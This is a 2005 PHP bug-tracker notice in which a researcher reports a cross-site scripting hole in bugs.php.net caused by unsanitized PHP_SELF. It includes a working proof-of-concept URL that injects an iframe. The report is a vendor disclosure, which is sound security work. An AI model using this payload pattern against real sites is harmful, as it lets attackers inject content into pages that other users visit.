#32978 [NEW]: XSS In php.net
| From: | security at gulftech dot org | Date: | Sun, 08 May 2005 14:43:34 +0000 |
| Subject: | #32978 [NEW]: XSS In php.net | ||
| Groups: | php.mirrors | ||
| Request: | Send a blank email to php-mirrors+get-28114@lists.php.net to get a copy of this message | ||
From: security at gulftech dot org
Operating system: WinXP Pro
PHP version: Irrelevant
PHP Bug Type: Website problem
Bug description: XSS In php.net
Description:
------------
One of the most commonly overlooked xss vectors is the unsanatized
PHP_SELF call :) I hope this helps.
James
Reproduce code:
---------------
http://bugs.php.net/search.php/%22%3E%3Ciframe%20src=http://www.linuxsecurity.org%3E?cmd=display&status=&search_for=phpinfo+PHP_SELF+cross+site+scripting&php_os=&boolean=0&author_email=&bug_age=0&by=&order_by=&direction=&phpver=&limit=30&assign=&begin=90
Expected result:
----------------
iframe opening an arbitrary location
--
Edit bug report at http://bugs.php.net/?id=32978&edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=32978&r=trysnapshot4
Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=32978&r=trysnapshot50
Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=32978&r=trysnapshot51
Fixed in CVS: http://bugs.php.net/fix.php?id=32978&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=32978&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=32978&r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=32978&r=needscript
Try newer version: http://bugs.php.net/fix.php?id=32978&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32978&r=support
Expected behavior: http://bugs.php.net/fix.php?id=32978&r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=32978&r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=32978&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=32978&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=32978&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=32978&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=32978&r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32978&r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=32978&r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=32978&r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=32978&r=mysqlcfg